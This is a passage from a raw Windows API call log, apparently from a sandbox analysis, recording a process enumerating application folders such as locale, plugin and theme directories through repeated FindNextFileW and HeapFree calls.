nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0190.072] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.073] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0190.074] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.074] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0190.074] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.074] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0190.075] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.075] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0190.075] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.075] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0190.076] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.076] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0190.077] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.077] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0190.077] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.077] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0190.077] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.077] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0190.078] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.078] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0190.078] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.078] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0190.079] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.079] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0190.080] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.080] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0190.080] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.080] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0190.080] FindClose (in: hFindFile=0x4121648 | out: hFindFile=0x4121648) returned 1 [0190.080] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0190.080] FindNextFileW (in: hFindFile=0x41215c8, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0190.081] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.081] FindNextFileW (in: hFindFile=0x41213c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0 [0190.082] FindClose (in: hFindFile=0x41213c8 | out: hFindFile=0x41213c8) returned 1 [0190.082] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0190.082] FindNextFileW (in: hFindFile=0x41215c8, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0 [0190.082] FindClose (in: hFindFile=0x41215c8 | out: hFindFile=0x41215c8) returned 1 [0190.082] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0190.082] FindNextFileW (in: hFindFile=0x41212c8, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0190.082] FindClose (in: hFindFile=0x41212c8 | out: hFindFile=0x41212c8) returned 1 [0190.082] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004800 | out: hHeap=0x420000) returned 1 [0190.082] FindNextFileW (in: hFindFile=0x41210c8, lpFindFileData=0x30de69c | out: lpFindFileData=0x30de69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fss", cAlternateFileName="")) returned 1 [0190.083] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0190.083] FindNextFileW (in: hFindFile=0x4121548, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x250574b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x250574b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x250574b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="img", cAlternateFileName="")) returned 1 [0190.089] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.089] FindNextFileW (in: hFindFile=0x41216c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0190.089] FindClose (in: hFindFile=0x41216c8 | out: hFindFile=0x41216c8) returned 1 [0190.089] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0190.089] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x252b9a4, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x252b9a4, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x252b9a4, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tools", cAlternateFileName="")) returned 1 [0190.100] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0190.100] FindNextFileW (in: hFindFile=0x4121048, lpFindFileData=0x30dda30 | out: lpFindFileData=0x30dda30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b41a7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x27b41a7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x27b41a7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0190.100] FindClose (in: hFindFile=0x4121048 | out: hFindFile=0x4121048) returned 1 [0190.100] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0190.100] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddcac | out: lpFindFileData=0x30ddcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b41a7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x27b41a7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x27b41a7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0190.100] FindClose (in: hFindFile=0x4121288 | out: hFindFile=0x4121288) returned 1 [0190.100] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.100] FindNextFileW (in: hFindFile=0x4121108, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1dae, dwReserved0=0x0, dwReserved1=0x0, cFileName="check.cur", cAlternateFileName="")) returned 1 [0190.105] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0190.105] FindNextFileW (in: hFindFile=0x41212c8, lpFindFileData=0x30ddcac | out: lpFindFileData=0x30ddcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f5618, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x26f5618, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x26f5618, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dark", cAlternateFileName="")) returned 0 [0190.105] FindClose (in: hFindFile=0x41212c8 | out: hFindFile=0x41212c8) returned 1 [0190.105] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.105] FindNextFileW (in: hFindFile=0x4121108, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1dae, dwReserved0=0x0, dwReserved1=0x0, cFileName="x.cur", cAlternateFileName="")) returned 1 [0190.106] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0190.106] FindNextFileW (in: hFindFile=0x4121308, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x252b9a4, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x252b9a4, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x252b9a4, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tools", cAlternateFileName="")) returned 0 [0190.106] FindClose (in: hFindFile=0x4121308 | out: hFindFile=0x4121308) returned 1 [0190.106] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024810 | out: hHeap=0x420000) returned 1 [0190.108] FindNextFileW (in: hFindFile=0x4121548, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0190.215] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.215] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0190.216] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.216] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0190.216] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.216] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0190.216] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.216] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0190.216] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.216] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0190.216] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.216] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0190.216] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.216] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0190.217] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.217] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0190.217] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.217] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0190.217] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0190.217] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, 